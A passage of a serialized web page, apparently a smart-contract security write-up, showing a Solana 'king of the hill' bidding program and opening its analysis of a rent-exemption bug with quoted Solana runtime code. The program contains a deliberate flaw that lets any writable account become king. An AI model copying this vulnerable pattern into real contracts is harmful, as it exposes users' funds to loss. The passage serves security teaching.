Context",{"type":26,"tag":217,"props":91121,"children":91122},{"style":7048},[91123],{"type":32,"value":7289},{"type":26,"tag":217,"props":91125,"children":91126},{"style":7119},[91127],{"type":32,"value":91128},"ChangeKing",{"type":26,"tag":217,"props":91130,"children":91131},{"style":7048},[91132],{"type":32,"value":56967},{"type":26,"tag":217,"props":91134,"children":91135},{"style":7054},[91136],{"type":32,"value":91137},"bid_amount",{"type":26,"tag":217,"props":91139,"children":91140},{"style":7149},[91141],{"type":32,"value":1473},{"type":26,"tag":217,"props":91143,"children":91144},{"style":7119},[91145],{"type":32,"value":91146}," u64",{"type":26,"tag":217,"props":91148,"children":91149},{"style":7048},[91150],{"type":32,"value":8380},{"type":26,"tag":217,"props":91152,"children":91153},{"style":7149},[91154],{"type":32,"value":10115},{"type":26,"tag":217,"props":91156,"children":91157},{"style":7119},[91158],{"type":32,"value":56945},{"type":26,"tag":217,"props":91160,"children":91161},{"style":7048},[91162],{"type":32,"value":91163},"\u003C()> {\n",{"type":26,"tag":217,"props":91165,"children":91166},{"class":7028,"line":7820},[91167],{"type":26,"tag":217,"props":91168,"children":91169},{"style":7033},[91170],{"type":32,"value":91171},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":26,"tag":217,"props":91173,"children":91174},{"class":7028,"line":7844},[91175,91180,91184,91188,91192,91196,91200,91205,91209,91214,91218,91223,91227,91231],{"type":26,"tag":217,"props":91176,"children":91177},{"style":7064},[91178],{"type":32,"value":91179},"        assert!",{"type":26,"tag":217,"props":91181,"children":91182},{"style":7048},[91183],{"type":32,"value":1851},{"type":26,"tag":217,"props":91185,"children":91186},{"style":7054},[91187],{"type":32,"value":91137},{"type":26,"tag":217,"props":91189,"children":91190},{"style":7149},[91191],{"type":32,"value":10125},{"type":26,"tag":217,"props":91193,"children":91194},{"style":7054},[91195],{"type":32,"value":79708},{"type":26,"tag":217,"props":91197,"children":91198},{"style":7149},[91199],{"type":32,"value":180},{"type":26,"tag":217,"props":91201,"children":91202},{"style":7048},[91203],{"type":32,"value":91204},"accounts",{"type":26,"tag":217,"props":91206,"children":91207},{"style":7149},[91208],{"type":32,"value":180},{"type":26,"tag":217,"props":91210,"children":91211},{"style":7048},[91212],{"type":32,"value":91213},"throne",{"type":26,"tag":217,"props":91215,"children":91216},{"style":7149},[91217],{"type":32,"value":180},{"type":26,"tag":217,"props":91219,"children":91220},{"style":7048},[91221],{"type":32,"value":91222},"last_bid_amount ",{"type":26,"tag":217,"props":91224,"children":91225},{"style":7149},[91226],{"type":32,"value":10006},{"type":26,"tag":217,"props":91228,"children":91229},{"style":7130},[91230],{"type":32,"value":9725},{"type":26,"tag":217,"props":91232,"children":91233},{"style":7048},[91234],{"type":32,"value":7669},{"type":26,"tag":217,"props":91236,"children":91237},{"class":7028,"line":7910},[91238,91243],{"type":26,"tag":217,"props":91239,"children":91240},{"style":7064},[91241],{"type":32,"value":91242},"        transfer_from_signer",{"type":26,"tag":217,"props":91244,"children":91245},{"style":7048},[91246],{"type":32,"value":10932},{"type":26,"tag":217,"props":91248,"children":91249},{"class":7028,"line":7954},[91250,91255,91259,91263,91267,91271],{"type":26,"tag":217,"props":91251,"children":91252},{"style":7149},[91253],{"type":32,"value":91254},"            &",{"type":26,"tag":217,"props":91256,"children":91257},{"style":7054},[91258],{"type":32,"value":79895},{"type":26,"tag":217,"props":91260,"children":91261},{"style":7149},[91262],{"type":32,"value":180},{"type":26,"tag":217,"props":91264,"children":91265},{"style":7048},[91266],{"type":32,"value":91204},{"type":26,"tag":217,"props":91268,"children":91269},{"style":7149},[91270],{"type":32,"value":180},{"type":26,"tag":217,"props":91272,"children":91273},{"style":7048},[91274],{"type":32,"value":91275},"payer,\n",{"type":26,"tag":217,"props":91277,"children":91278},{"class":7028,"line":7985},[91279,91283,91287,91291,91295,91299,91303,91307,91312],{"type":26,"tag":217,"props":91280,"children":91281},{"style":7149},[91282],{"type":32,"value":91254},{"type":26,"tag":217,"props":91284,"children":91285},{"style":7054},[91286],{"type":32,"value":79895},{"type":26,"tag":217,"props":91288,"children":91289},{"style":7149},[91290],{"type":32,"value":180},{"type":26,"tag":217,"props":91292,"children":91293},{"style":7048},[91294],{"type":32,"value":91204},{"type":26,"tag":217,"props":91296,"children":91297},{"style":7149},[91298],{"type":32,"value":180},{"type":26,"tag":217,"props":91300,"children":91301},{"style":7048},[91302],{"type":32,"value":91213},{"type":26,"tag":217,"props":91304,"children":91305},{"style":7149},[91306],{"type":32,"value":180},{"type":26,"tag":217,"props":91308,"children":91309},{"style":7064},[91310],{"type":32,"value":91311},"to_account_info",{"type":26,"tag":217,"props":91313,"children":91314},{"style":7048},[91315],{"type":32,"value":79153},{"type":26,"tag":217,"props":91317,"children":91318},{"class":7028,"line":8027},[91319,91324],{"type":26,"tag":217,"props":91320,"children":91321},{"style":7054},[91322],{"type":32,"value":91323},"            bid_amount",{"type":26,"tag":217,"props":91325,"children":91326},{"style":7048},[91327],{"type":32,"value":10953},{"type":26,"tag":217,"props":91329,"children":91330},{"class":7028,"line":8035},[91331,91336,91340],{"type":26,"tag":217,"props":91332,"children":91333},{"style":7048},[91334],{"type":32,"value":91335},"        )",{"type":26,"tag":217,"props":91337,"children":91338},{"style":7149},[91339],{"type":32,"value":605},{"type":26,"tag":217,"props":91341,"children":91342},{"style":7048},[91343],{"type":32,"value":7162},{"type":26,"tag":217,"props":91345,"children":91346},{"class":7028,"line":8067},[91347],{"type":26,"tag":217,"props":91348,"children":91349},{"emptyLinePlaceholder":17},[91350],{"type":32,"value":7817},{"type":26,"tag":217,"props":91352,"children":91353},{"class":7028,"line":8107},[91354],{"type":26,"tag":217,"props":91355,"children":91356},{"style":7033},[91357],{"type":32,"value":91358},"        // Reimburse 95% of the last bid to the old king\n",{"type":26,"tag":217,"props":91360,"children":91361},{"class":7028,"line":8145},[91362,91367,91372,91376,91380,91384,91388,91392,91396,91400,91404,91408,91412,91417,91421,91425,91430],{"type":26,"tag":217,"props":91363,"children":91364},{"style":7154},[91365],{"type":32,"value":91366},"        let",{"type":26,"tag":217,"props":91368,"children":91369},{"style":7054},[91370],{"type":32,"value":91371}," to_reimburse",{"type":26,"tag":217,"props":91373,"children":91374},{"style":7149},[91375],{"type":32,"value":8993},{"type":26,"tag":217,"props":91377,"children":91378},{"style":7048},[91379],{"type":32,"value":7051},{"type":26,"tag":217,"props":91381,"children":91382},{"style":7054},[91383],{"type":32,"value":79895},{"type":26,"tag":217,"props":91385,"children":91386},{"style":7149},[91387],{"type":32,"value":180},{"type":26,"tag":217,"props":91389,"children":91390},{"style":7048},[91391],{"type":32,"value":91204},{"type":26,"tag":217,"props":91393,"children":91394},{"style":7149},[91395],{"type":32,"value":180},{"type":26,"tag":217,"props":91397,"children":91398},{"style":7048},[91399],{"type":32,"value":91213},{"type":26,"tag":217,"props":91401,"children":91402},{"style":7149},[91403],{"type":32,"value":180},{"type":26,"tag":217,"props":91405,"children":91406},{"style":7048},[91407],{"type":32,"value":91222},{"type":26,"tag":217,"props":91409,"children":91410},{"style":7149},[91411],{"type":32,"value":10006},{"type":26,"tag":217,"props":91413,"children":91414},{"style":7130},[91415],{"type":32,"value":91416}," 9500",{"type":26,"tag":217,"props":91418,"children":91419},{"style":7048},[91420],{"type":32,"value":8380},{"type":26,"tag":217,"props":91422,"children":91423},{"style":7149},[91424],{"type":32,"value":5756},{"type":26,"tag":217,"props":91426,"children":91427},{"style":7130},[91428],{"type":32,"value":91429}," 10000",{"type":26,"tag":217,"props":91431,"children":91432},{"style":7048},[91433],{"type":32,"value":7162},{"type":26,"tag":217,"props":91435,"children":91436},{"class":7028,"line":8154},[91437,91442],{"type":26,"tag":217,"props":91438,"children":91439},{"style":7064},[91440],{"type":32,"value":91441},"        transfer_from_pda",{"type":26,"tag":217,"props":91443,"children":91444},{"style":7048},[91445],{"type":32,"value":10932},{"type":26,"tag":217,"props":91447,"children":91448},{"class":7028,"line":8162},[91449,91453,91457,91461,91465,91469,91473,91477,91481],{"type":26,"tag":217,"props":91450,"children":91451},{"style":7149},[91452],{"type":32,"value":91254},{"type":26,"tag":217,"props":91454,"children":91455},{"style":7054},[91456],{"type":32,"value":79895},{"type":26,"tag":217,"props":91458,"children":91459},{"style":7149},[91460],{"type":32,"value":180},{"type":26,"tag":217,"props":91462,"children":91463},{"style":7048},[91464],{"type":32,"value":91204},{"type":26,"tag":217,"props":91466,"children":91467},{"style":7149},[91468],{"type":32,"value":180},{"type":26,"tag":217,"props":91470,"children":91471},{"style":7048},[91472],{"type":32,"value":91213},{"type":26,"tag":217,"props":91474,"children":91475},{"style":7149},[91476],{"type":32,"value":180},{"type":26,"tag":217,"props":91478,"children":91479},{"style":7064},[91480],{"type":32,"value":91311},{"type":26,"tag":217,"props":91482,"children":91483},{"style":7048},[91484],{"type":32,"value":79153},{"type":26,"tag":217,"props":91486,"children":91487},{"class":7028,"line":8197},[91488,91492,91496,91500,91504,91508],{"type":26,"tag":217,"props":91489,"children":91490},{"style":7149},[91491],{"type":32,"value":91254},{"type":26,"tag":217,"props":91493,"children":91494},{"style":7054},[91495],{"type":32,"value":79895},{"type":26,"tag":217,"props":91497,"children":91498},{"style":7149},[91499],{"type":32,"value":180},{"type":26,"tag":217,"props":91501,"children":91502},{"style":7048},[91503],{"type":32,"value":91204},{"type":26,"tag":217,"props":91505,"children":91506},{"style":7149},[91507],{"type":32,"value":180},{"type":26,"tag":217,"props":91509,"children":91510},{"style":7048},[91511],{"type":32,"value":91512},"old_king,\n",{"type":26,"tag":217,"props":91514,"children":91515},{"class":7028,"line":8220},[91516,91521],{"type":26,"tag":217,"props":91517,"children":91518},{"style":7054},[91519],{"type":32,"value":91520},"            to_reimburse",{"type":26,"tag":217,"props":91522,"children":91523},{"style":7048},[91524],{"type":32,"value":10953},{"type":26,"tag":217,"props":91526,"children":91527},{"class":7028,"line":8228},[91528,91532,91536],{"type":26,"tag":217,"props":91529,"children":91530},{"style":7048},[91531],{"type":32,"value":91335},{"type":26,"tag":217,"props":91533,"children":91534},{"style":7149},[91535],{"type":32,"value":605},{"type":26,"tag":217,"props":91537,"children":91538},{"style":7048},[91539],{"type":32,"value":7162},{"type":26,"tag":217,"props":91541,"children":91542},{"class":7028,"line":8292},[91543],{"type":26,"tag":217,"props":91544,"children":91545},{"emptyLinePlaceholder":17},[91546],{"type":32,"value":7817},{"type":26,"tag":217,"props":91548,"children":91549},{"class":7028,"line":8351},[91550],{"type":26,"tag":217,"props":91551,"children":91552},{"style":7033},[91553],{"type":32,"value":91554},"        // Set new king\n",{"type":26,"tag":217,"props":91556,"children":91557},{"class":7028,"line":8391},[91558,91562,91566,91570,91574,91578,91582,91587,91591,91595,91599,91603,91607,91612,91616,91620],{"type":26,"tag":217,"props":91559,"children":91560},{"style":7054},[91561],{"type":32,"value":78279},{"type":26,"tag":217,"props":91563,"children":91564},{"style":7149},[91565],{"type":32,"value":180},{"type":26,"tag":217,"props":91567,"children":91568},{"style":7048},[91569],{"type":32,"value":91204},{"type":26,"tag":217,"props":91571,"children":91572},{"style":7149},[91573],{"type":32,"value":180},{"type":26,"tag":217,"props":91575,"children":91576},{"style":7048},[91577],{"type":32,"value":91213},{"type":26,"tag":217,"props":91579,"children":91580},{"style":7149},[91581],{"type":32,"value":180},{"type":26,"tag":217,"props":91583,"children":91584},{"style":7048},[91585],{"type":32,"value":91586},"king ",{"type":26,"tag":217,"props":91588,"children":91589},{"style":7149},[91590],{"type":32,"value":267},{"type":26,"tag":217,"props":91592,"children":91593},{"style":7054},[91594],{"type":32,"value":79708},{"type":26,"tag":217,"props":91596,"children":91597},{"style":7149},[91598],{"type":32,"value":180},{"type":26,"tag":217,"props":91600,"children":91601},{"style":7048},[91602],{"type":32,"value":91204},{"type":26,"tag":217,"props":91604,"children":91605},{"style":7149},[91606],{"type":32,"value":180},{"type":26,"tag":217,"props":91608,"children":91609},{"style":7048},[91610],{"type":32,"value":91611},"new_king",{"type":26,"tag":217,"props":91613,"children":91614},{"style":7149},[91615],{"type":32,"value":180},{"type":26,"tag":217,"props":91617,"children":91618},{"style":7064},[91619],{"type":32,"value":78360},{"type":26,"tag":217,"props":91621,"children":91622},{"style":7048},[91623],{"type":32,"value":8217},{"type":26,"tag":217,"props":91625,"children":91626},{"class":7028,"line":8439},[91627,91631,91635,91639,91643,91647,91651,91655,91659,91664],{"type":26,"tag":217,"props":91628,"children":91629},{"style":7054},[91630],{"type":32,"value":78279},{"type":26,"tag":217,"props":91632,"children":91633},{"style":7149},[91634],{"type":32,"value":180},{"type":26,"tag":217,"props":91636,"children":91637},{"style":7048},[91638],{"type":32,"value":91204},{"type":26,"tag":217,"props":91640,"children":91641},{"style":7149},[91642],{"type":32,"value":180},{"type":26,"tag":217,"props":91644,"children":91645},{"style":7048},[91646],{"type":32,"value":91213},{"type":26,"tag":217,"props":91648,"children":91649},{"style":7149},[91650],{"type":32,"value":180},{"type":26,"tag":217,"props":91652,"children":91653},{"style":7048},[91654],{"type":32,"value":91222},{"type":26,"tag":217,"props":91656,"children":91657},{"style":7149},[91658],{"type":32,"value":267},{"type":26,"tag":217,"props":91660,"children":91661},{"style":7054},[91662],{"type":32,"value":91663}," bid_amount",{"type":26,"tag":217,"props":91665,"children":91666},{"style":7048},[91667],{"type":32,"value":7162},{"type":26,"tag":217,"props":91669,"children":91670},{"class":7028,"line":8448},[91671,91675,91679,91683,91687,91691,91695,91700,91704,91709,91713,91717,91721,91726,91731,91736,91740],{"type":26,"tag":217,"props":91672,"children":91673},{"style":7054},[91674],{"type":32,"value":78279},{"type":26,"tag":217,"props":91676,"children":91677},{"style":7149},[91678],{"type":32,"value":180},{"type":26,"tag":217,"props":91680,"children":91681},{"style":7048},[91682],{"type":32,"value":91204},{"type":26,"tag":217,"props":91684,"children":91685},{"style":7149},[91686],{"type":32,"value":180},{"type":26,"tag":217,"props":91688,"children":91689},{"style":7048},[91690],{"type":32,"value":91213},{"type":26,"tag":217,"props":91692,"children":91693},{"style":7149},[91694],{"type":32,"value":180},{"type":26,"tag":217,"props":91696,"children":91697},{"style":7048},[91698],{"type":32,"value":91699},"last_time ",{"type":26,"tag":217,"props":91701,"children":91702},{"style":7149},[91703],{"type":32,"value":267},{"type":26,"tag":217,"props":91705,"children":91706},{"style":7119},[91707],{"type":32,"value":91708}," Clock",{"type":26,"tag":217,"props":91710,"children":91711},{"style":7149},[91712],{"type":32,"value":56166},{"type":26,"tag":217,"props":91714,"children":91715},{"style":7064},[91716],{"type":32,"value":67276},{"type":26,"tag":217,"props":91718,"children":91719},{"style":7048},[91720],{"type":32,"value":78002},{"type":26,"tag":217,"props":91722,"children":91723},{"style":7149},[91724],{"type":32,"value":91725},"?.",{"type":26,"tag":217,"props":91727,"children":91728},{"style":7048},[91729],{"type":32,"value":91730},"unix_timestamp ",{"type":26,"tag":217,"props":91732,"children":91733},{"style":7154},[91734],{"type":32,"value":91735},"as",{"type":26,"tag":217,"props":91737,"children":91738},{"style":7119},[91739],{"type":32,"value":91146},{"type":26,"tag":217,"props":91741,"children":91742},{"style":7048},[91743],{"type":32,"value":7162},{"type":26,"tag":217,"props":91745,"children":91746},{"class":7028,"line":8456},[91747],{"type":26,"tag":217,"props":91748,"children":91749},{"emptyLinePlaceholder":17},[91750],{"type":32,"value":7817},{"type":26,"tag":217,"props":91752,"children":91753},{"class":7028,"line":8500},[91754,91759],{"type":26,"tag":217,"props":91755,"children":91756},{"style":7119},[91757],{"type":32,"value":91758},"        Ok",{"type":26,"tag":217,"props":91760,"children":91761},{"style":7048},[91762],{"type":32,"value":91763},"(())\n",{"type":26,"tag":217,"props":91765,"children":91766},{"class":7028,"line":8535},[91767],{"type":26,"tag":217,"props":91768,"children":91769},{"style":7048},[91770],{"type":32,"value":9754},{"type":26,"tag":217,"props":91772,"children":91773},{"class":7028,"line":8664},[91774],{"type":26,"tag":217,"props":91775,"children":91776},{"style":7048},[91777],{"type":32,"value":7184},{"type":26,"tag":39,"props":91779,"children":91780},{},[91781],{"type":32,"value":91782},"Note this comment:",{"type":26,"tag":35,"props":91784,"children":91785},{},[91786],{"type":26,"tag":39,"props":91787,"children":91788},{},[91789],{"type":32,"value":91790},"any writable account is allowed as a new king.",{"type":26,"tag":39,"props":91792,"children":91793},{},[91794],{"type":32,"value":91795},"...Is our assumption correct?",{"type":26,"tag":27,"props":91797,"children":91799},{"id":91798},"the-bugs-lurking-beneath",[91800],{"type":32,"value":91801},"The Bugs Lurking Beneath",{"type":26,"tag":607,"props":91803,"children":91805},{"id":91804},"bug-1-the-rent-exemption-trap",[91806],{"type":32,"value":91807},"Bug 1: The Rent-Exemption Trap",{"type":26,"tag":39,"props":91809,"children":91810},{},[91811,91813,91818],{"type":32,"value":91812},"On Solana, all accounts must maintain a ",{"type":26,"tag":9348,"props":91814,"children":91815},{},[91816],{"type":32,"value":91817},"minimum balance",{"type":32,"value":91819}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":26,"tag":2040,"props":91821,"children":91822},{},[91823,91838],{"type":26,"tag":2044,"props":91824,"children":91825},{},[91826,91831,91832],{"type":26,"tag":9348,"props":91827,"children":91828},{},[91829],{"type":32,"value":91830},"Uninitialized",{"type":32,"value":14785},{"type":26,"tag":83,"props":91833,"children":91835},{"className":91834},[],[91836],{"type":32,"value":91837},"lamports = 0",{"type":26,"tag":2044,"props":91839,"children":91840},{},[91841,91846,91847],{"type":26,"tag":9348,"props":91842,"children":91843},{},[91844],{"type":32,"value":91845},"Initialized",{"type":32,"value":14785},{"type":26,"tag":83,"props":91848,"children":91850},{"className":91849},[],[91851],{"type":32,"value":91852},"lamports >= rent-exempt threshold",{"type":26,"tag":39,"props":91854,"children":91855},{},[91856,91858,91863],{"type":32,"value":91857},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":26,"tag":9348,"props":91859,"children":91860},{},[91861],{"type":32,"value":91862},"account metadata",{"type":32,"value":91864}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":26,"tag":39,"props":91866,"children":91867},{},[91868,91870,91876],{"type":32,"value":91869},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":26,"tag":83,"props":91871,"children":91873},{"className":91872},[],[91874],{"type":32,"value":91875},"data.len() == 0",{"type":32,"value":91877}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":26,"tag":39,"props":91879,"children":91880},{},[91881,91883,91889],{"type":32,"value":91882},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":26,"tag":163,"props":91884,"children":91887},{"href":91885,"rel":91886},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[167],[91888],{"type":32,"value":8807},{"type":32,"value":180},{"type":26,"tag":207,"props":91891,"children":91893},{"className":56140,"code":91892,"language":56139,"meta":8,"style":8},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[91894],{"type":26,"tag":83,"props":91895,"children":91896},{"__ignoreMap":8},[91897,91982,91999,92046,92066,92087,92108,92123,92140,92184,92203,92224,92245,92261,92269,92303,92310,92317,92324,92331],{"type":26,"tag":217,"props":91898,"children":91899},{"class":7028,"line":7029},[91900,91905,91910,91914,91918,91923,91927,91932,91936,91940,91945,91949,91954,91958,91962,91966,91970,91974,91978],{"type":26,"tag":217,"props":91901,"children":91902},{"style":7154},[91903],{"type":32,"value":91904},"    fn",{"type":26,"tag":217,"props":91906,"children":91907},{"style":7064},[91908],{"type":32,"value":91909}," transition_allowed",{"type":26,"tag":217,"props":91911,"children":91912},{"style":7048},[91913],{"type":32,"value":1851},{"type":26,"tag":217,"props":91915,"children":91916},{"style":7149},[91917],{"type":32,"value":9804},{"type":26,"tag":217,"props":91919,"children":91920},{"style":7154},[91921],{"type":32,"value":91922},"self",{"type":26,"tag":217,"props":91924,"children":91925},{"style":7048},[91926],{"type":32,"value":7599},{"type":26,"tag":217,"props":91928,"children":91929},{"style":7054},[91930],{"type":32,"value":91931},"pre_rent_state",{"type":26,"tag":217,"props":91933,"children":91934},{"style":7149},[91935],{"type":32,"value":1473},{"type":26,"tag":217,"props":91937,"children":91938},{"style":7149},[91939],{"type":32,"value":10222},{"type":26,"tag":217,"props":91941,"children":91942},{"style":7119},[91943],{"type":32,"value":91944},"RentState",{"type":26,"tag":217,"props":91946,"children":91947},{"style":7048},[91948],{"type":32,"value":7599},{"type":26,"tag":217,"props":91950,"children":91951},{"style":7054},[91952],{"type":32,"value":91953},"post_rent_state",{"type":26,"tag":217,"props":91955,"children":91956},{"style":7149},[91957],{"type":32,"value":1473},{"type":26,"tag":217,"props":91959,"children":91960},{"style":7149},[91961],{"type":32,"value":10222},{"type":26,"tag":217,"props":91963,"children":91964},{"style":7119},[91965],{"type":32,"value":91944},{"type":26,"tag":217,"props":91967,"children":91968},{"style":7048},[91969],{"type":32,"value":8380},{"type":26,"tag":217,"props":91971,"children":91972},{"style":7149},[91973],{"type":32,"value":10115},{"type":26,"tag":217,"props":91975,"children":91976},{"style":7119},[91977],{"type":32,"value":79568},{"type":26,"tag":217,"props":91979,"children":91980},{"style":7048},[91981],{"type":32,"value":8064},{"type":26,"tag":217,"props":91983,"children":91984},{"class":7028,"line":6770},[91985,91990,91995],{"type":26,"tag":217,"props":91986,"children":91987},{"style":7042},[91988],{"type":32,"value":91989},"        match",{"type":26,"tag":217,"props":91991,"children":91992},{"style":7054},[91993],{"type":32,"value":91994}," post_rent_state",{"type":26,"tag":217,"props":91996,"children":91997},{"style":7048},[91998],{"type":32,"value":8064},{"type":26,"tag":217,"props":92000,"children":92001},{"class":7028,"line":6779},[92002,92007,92011,92015,92020,92025,92029,92034,92038,92042],{"type":26,"tag":217,"props":92003,"children":92004},{"style":7119},[92005],{"type":32,"value":92006},"            RentState",{"type":26,"tag":217,"props":92008,"children":92009},{"style":7149},[92010],{"type":32,"value":56166},{"type":26,"tag":217,"props":92012,"children":92013},{"style":7119},[92014],{"type":32,"value":91830},{"type":26,"tag":217,"props":92016,"children":92017},{"style":7149},[92018],{"type":32,"value":92019}," |",{"type":26,"tag":217,"props":92021,"children":92022},{"style":7119},[92023],{"type":32,"value":92024}," RentState",{"type":26,"tag":217,"props":92026,"children":92027},{"style":7149},[92028],{"type":32,"value":56166},{"type":26,"tag":217,"props":92030,"children":92031},{"style":7119},[92032],{"type":32,"value":92033},"RentExempt",{"type":26,"tag":217,"props":92035,"children":92036},{"style":7149},[92037],{"type":32,"value":8190},{"type":26,"tag":217,"props":92039,"children":92040},{"style":7154},[92041],{"type":32,"value":7902},{"type":26,"tag":217,"props":92043,"children":92044},{"style":7048},[92045],{"type":32,"value":10953},{"type":26,"tag":217,"props":92047,"children":92048},{"class":7028,"line":7140},[92049,92053,92057,92062],{"type":26,"tag":217,"props":92050,"children":92051},{"style":7119},[92052],{"type":32,"value":92006},{"type":26,"tag":217,"props":92054,"children":92055},{"style":7149},[92056],{"type":32,"value":56166},{"type":26,"tag":217,"props":92058,"children":92059},{"style":7119},[92060],{"type":32,"value":92061},"RentPaying",{"type":26,"tag":217,"props":92063,"children":92064},{"style":7048},[92065],{"type":32,"value":8064},{"type":26,"tag":217,"props":92067,"children":92068},{"class":7028,"line":7165},[92069,92074,92078,92083],{"type":26,"tag":217,"props":92070,"children":92071},{"style":7054},[92072],{"type":32,"value":92073},"                data_size",{"type":26,"tag":217,"props":92075,"children":92076},{"style":7149},[92077],{"type":32,"value":1473},{"type":26,"tag":217,"props":92079,"children":92080},{"style":7054},[92081],{"type":32,"value":92082}," post_data_size",{"type":26,"tag":217,"props":92084,"children":92085},{"style":7048},[92086],{"type":32,"value":10953},{"type":26,"tag":217,"props":92088,"children":92089},{"class":7028,"line":7178},[92090,92095,92099,92104],{"type":26,"tag":217,"props":92091,"children":92092},{"style":7054},[92093],{"type":32,"value":92094},"                lamports",{"type":26,"tag":217,"props":92096,"children":92097},{"style":7149},[92098],{"type":32,"value":1473},{"type":26,"tag":217,"props":92100,"children":92101},{"style":7054},[92102],{"type":32,"value":92103}," post_lamports",{"type":26,"tag":217,"props":92105,"children":92106},{"style":7048},[92107],{"type":32,"value":10953},{"type":26,"tag":217,"props":92109,"children":92110},{"class":7028,"line":7389},[92111,92115,92119],{"type":26,"tag":217,"props":92112,"children":92113},{"style":7048},[92114],{"type":32,"value":60702},{"type":26,"tag":217,"props":92116,"children":92117},{"style":7149},[92118],{"type":32,"value":8059},{"type":26,"tag":217,"props":92120,"children":92121},{"style":7048},[92122],{"type":32,"value":8064},{"type":26,"tag":217,"props":92124,"children":92125},{"class":7028,"line":7406},[92126,92131,92136],{"type":26,"tag":217,"props":92127,"children":92128},{"style":7042},[92129],{"type":32,"value":92130},"                match",{"type":26,"tag":217,"props":92132,"children":92133},{"style":7054},[92134],{"type":32,"value":92135}," pre_rent_state",{"type":26,"tag":217,"props":92137,"children":92138},{"style":7048},[92139],{"type":32,"value":8064},{"type":26,"tag":217,"props":92141,"children":92142},{"class":7028,"line":7439},[92143,92148,92152,92156,92160,92164,92168,92172,92176,92180],{"type":26,"tag":217,"props":92144,"children":92145},{"style":7119},[92146],{"type":32,"value":92147},"                    RentState",{"type":26,"tag":217,"props":92149,"children":92150},{"style":7149},[92151],{"type":32,"value":56166},{"type":26,"tag":217,"props":92153,"children":92154},{"style":7119},[92155],{"type":32,"value":91830},{"type":26,"tag":217,"props":92157,"children":92158},{"style":7149},[92159],{"type":32,"value":92019},{"type":26,"tag":217,"props":92161,"children":92162},{"style":7119},[92163],{"type":32,"value":92024},{"type":26,"tag":217,"props":92165,"children":92166},{"style":7149},[92167],{"type":32,"value":56166},{"type":26,"tag":217,"props":92169,"children":92170},{"style":7119},[92171],{"type":32,"value":92033},{"type":26,"tag":217,"props":92173,"children":92174},{"style":7149},[92175],{"type":32,"value":8190},{"type":26,"tag":217,"props":92177,"children":92178},{"style":7154},[92179],{"type":32,"value":7795},{"type":26,"tag":217,"props":92181,"children":92182},{"style":7048},[92183],{"type":32,"value":10953},{"type":26,"tag":217,"props":92185,"children":92186},{"class":7028,"line":7487},[92187,92191,92195,92199],{"type":26,"tag":217,"props":92188,"children":92189},{"style":7119},[92190],{"type":32,"value":92147},{"type":26,"tag":217,"props":92192,"children":92193},{"style":7149},[92194],{"type":32,"value":56166},{"type":26,"tag":217,"props":92196,"children":92197},{"style":7119},[92198],{"type":32,"value":92061},{"type":26,"tag":217,"props":92200,"children":92201},{"style":7048},[92202],{"type":32,"value":8064},{"type":26,"tag":217,"props":92204,"children":92205},{"class":7028,"line":7524},[92206,92211,92215,92220],{"type":26,"tag":217,"props":92207,"children":92208},{"style":7054},[92209],{"type":32,"value":92210},"                        data_size",{"type":26,"tag":217,"props":92212,"children":92213},{"style":7149},[92214],{"type":32,"value":1473},{"type":26,"tag":217,"props":92216,"children":92217},{"style":7054},[92218],{"type":32,"value":92219}," pre_data_size",{"type":26,"tag":217,"props":92221,"children":92222},{"style":7048},[92223],{"type":32,"value":10953},{"type":26,"tag":217,"props":92225,"children":92226},{"class":7028,"line":7553},[92227,92232,92236,92241],{"type":26,"tag":217,"props":92228,"children":92229},{"style":7054},[92230],{"type":32,"value":92231},"                        lamports",{"type":26,"tag":217,"props":92233,"children":92234},{"style":7149},[92235],{"type":32,"value":1473},{"type":26,"tag":217,"props":92237,"children":92238},{"style":7054},[92239],{"type":32,"value":92240}," pre_lamports",{"type":26,"tag":217,"props":92242,"children":92243},{"style":7048},[92244],{"type":32,"value":10953},{"type":26,"tag":217,"props":92246,"children":92247},{"class":7028,"line":7570},[92248,92253,92257],{"type":26,"tag":217,"props":92249,"children":92250},{"style":7048},[92251],{"type":32,"value":92252},"                    } ",{"type":26,"tag":217,"props":92254,"children":92255},{"style":7149},[92256],{"type":32,"value":8059},{"type":26,"tag":217,"props":92258,"children":92259},{"style":7048},[92260],{"type":32,"value":8064},{"type":26,"tag":217,"props":92262,"children":92263},{"class":7028,"line":7621},[92264],{"type":26,"tag":217,"props":92265,"children":92266},{"style":7033},[92267],{"type":32,"value":92268},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":26,"tag":217,"props":92270,"children":92271},{"class":7028,"line":7672},[92272,92277,92281,92285,92289,92293,92298],{"type":26,"tag":217,"props":92273,"children":92274},{"style":7054},[92275],{"type":32,"value":92276},"                        post_data_size",{"type":26,"tag":217,"props":92278,"children":92279},{"style":7149},[92280],{"type":32,"value":11680},{"type":26,"tag":217,"props":92282,"children":92283},{"style":7054},[92284],{"type":32,"value":92219},{"type":26,"tag":217,"props":92286,"children":92287},{"style":7149},[92288],{"type":32,"value":38514},{"type":26,"tag":217,"props":92290,"children":92291},{"style":7054},[92292],{"type":32,"value":92103},{"type":26,"tag":217,"props":92294,"children":92295},{"style":7149},[92296],{"type":32,"value":92297}," \u003C=",{"type":26,"tag":217,"props":92299,"children":92300},{"style":7054},[92301],{"type":32,"value":92302}," 